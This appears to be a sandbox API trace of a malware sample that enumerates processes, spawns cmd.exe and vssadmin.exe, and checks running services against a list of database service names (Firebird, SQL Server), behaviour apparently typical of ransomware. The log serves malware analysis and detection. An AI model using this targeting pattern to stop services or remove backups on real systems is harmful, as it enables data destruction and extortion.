	[0176.411] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0176.412] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0176.412] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0176.412] lstrlenW (lpString="audiodg.exe") returned 11
	[0176.412] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0176.413] lstrlenW (lpString="Memory Compression") returned 18
	[0176.413] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0176.413] lstrlenW (lpString="taskhostw.exe") returned 13
	[0176.413] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0176.414] lstrlenW (lpString="sihost.exe") returned 10
	[0176.414] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.414] lstrlenW (lpString="svchost.exe") returned 11
	[0176.414] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0176.415] lstrlenW (lpString="taskhostw.exe") returned 13
	[0176.415] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0176.415] lstrlenW (lpString="explorer.exe") returned 12
	[0176.415] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0176.416] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0176.416] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0176.416] lstrlenW (lpString="SearchUI.exe") returned 12
	[0176.416] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0176.417] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0176.417] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0176.417] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0176.417] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0176.418] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0176.418] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0176.418] lstrlenW (lpString="cmd.exe") returned 7
	[0176.418] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0176.419] lstrlenW (lpString="conhost.exe") returned 11
	[0176.419] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0176.419] lstrlenW (lpString="vssadmin.exe") returned 12
	[0176.419] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x3ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0176.420] lstrlenW (lpString="consent.exe") returned 11
	[0176.420] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x3ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0
	[0176.679] CloseHandle (hObject=0x36c) returned 1
	[0176.696] Sleep (dwMilliseconds=0x1f4) 
	[0177.557] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3929c00
	[0177.557] EnumServicesStatusExW (in: hSCManager=0x3929c00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0177.558] GetLastError () returned 0xea
	[0177.558] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c30) returned 0x4183f70
	[0177.558] EnumServicesStatusExW (in: hSCManager=0x3929c00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4183f70, cbBufSize=0x1c30, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4183f70, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0177.559] CloseServiceHandle (hSCObject=0x3929c00) returned 1
	[0177.560] lstrlenW (lpString="Appinfo") returned 7
	[0177.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0177.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0177.560] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0177.560] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0177.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0177.560] lstrlenW (lpString="AppXSvc") returned 7
	[0177.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0177.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0177.560] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0177.560] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0177.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0177.560] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0177.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0177.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0177.560] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0177.560] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0177.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0177.561] lstrlenW (lpString="Audiosrv") returned 8
	[0177.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0177.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0177.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0177.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0177.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0177.561] lstrlenW (lpString="BFE") returned 3
	[0177.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0177.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0177.561] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0177.561] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0177.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0177.561] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0177.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0177.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0177.561] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0177.561] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0177.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0177.561] lstrlenW (lpString="CDPSvc") returned 6
	[0177.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0177.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0177.562] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0177.562] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0177.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0177.562] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0177.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0177.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0177.562] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0177.562] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0177.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0177.562] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0177.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0177.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0177.562] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0177.562] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0177.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0177.562] lstrlenW (lpString="CryptSvc") returned 8
	[0177.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0177.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0177.562] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0177.562] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0177.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0177.562] lstrlenW (lpString="DcomLaunch") returned 10
	[0177.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0177.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0177.563] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0177.563] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0177.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0177.563] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0177.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0177.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0177.563] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0177.563] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0177.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0177.563] lstrlenW (lpString="Dhcp") returned 4
	[0177.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0177.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0177.563] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0177.563] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0177.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0177.563] lstrlenW (lpString="Dnscache") returned 8
	[0177.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0177.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0177.563] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0177.563] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0177.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0177.563] lstrlenW (lpString="DPS") returned 3
	[0177.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0177.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0177.564] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0177.564] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0177.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0177.564] lstrlenW (lpString="DusmSvc") returned 7
	[0177.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0177.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0177.564] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0177.564] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0177.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0177.564] lstrlenW (lpString="EventLog") returned 8
	[0177.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0177.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0177.564] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0177.564] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0177.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0177.564] lstrlenW (lpString="EventSystem") returned 11
	[0177.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0177.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0177.564] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0177.565] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0177.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0177.565] lstrlenW (lpString="FontCache") returned 9
	[0177.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0177.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0177.565] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0177.565] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0177.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0177.565] lstrlenW (lpString="gpsvc") returned 5
	[0177.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0177.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0177.565] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0177.565] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0177.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0177.565] lstrlenW (lpString="iphlpsvc") returned 8
	[0177.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0177.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0177.565] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0177.565] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0177.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0177.778] lstrlenW (lpString="KeyIso") returned 6
	[0177.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0177.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0177.779] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0177.779] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0177.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0177.779] lstrlenW (lpString="LanmanServer") returned 12
	[0177.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0177.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0177.779] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0177.779] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0177.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0177.779] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0177.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0177.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0177.779] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0177.779] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0177.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0177.779] lstrlenW (lpString="lfsvc") returned 5
	[0177.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0177.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0177.779] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0177.779] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0177.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0177.779] lstrlenW (lpString="lmhosts") returned 7
	[0177.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0177.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0177.780] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0177.780] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0177.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0177.780] lstrlenW (lpString="LSM") returned 3
	[0177.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0177.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0177.780] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0177.780] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0177.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0177.780] lstrlenW (lpString="MpsSvc") returned 6
	[0177.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0177.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0177.780] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0177.780] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0177.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0177.780] lstrlenW (lpString="NcbService") returned 10
	[0177.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0177.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0177.780] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0177.780] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0177.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0177.781] lstrlenW (lpString="netprofm") returned 8
	[0177.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0177.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0177.781] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0177.781] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0177.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0177.781] lstrlenW (lpString="NgcSvc") returned 6
	[0177.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0177.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0177.781] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0177.781] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0177.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0177.781] lstrlenW (lpString="NlaSvc") returned 6
	[0177.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0177.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0177.781] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0177.781] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0177.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0177.781] lstrlenW (lpString="nsi") returned 3
	[0177.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0177.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0177.782] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0177.782] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0177.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0177.782] lstrlenW (lpString="PcaSvc") returned 6
	[0177.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0177.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0177.782] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0177.782] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0177.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0177.782] lstrlenW (lpString="PlugPlay") returned 8
	[0177.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0177.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0177.782] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0177.782] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0177.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0177.782] lstrlenW (lpString="Power") returned 5
	[0177.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0177.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0177.782] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0177.782] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0177.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0177.783] lstrlenW (lpString="ProfSvc") returned 7
	[0177.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0177.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0177.783] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0177.783] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0177.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0177.783] lstrlenW (lpString="RpcEptMapper") returned 12
	[0177.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0177.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0177.783] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0177.783] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
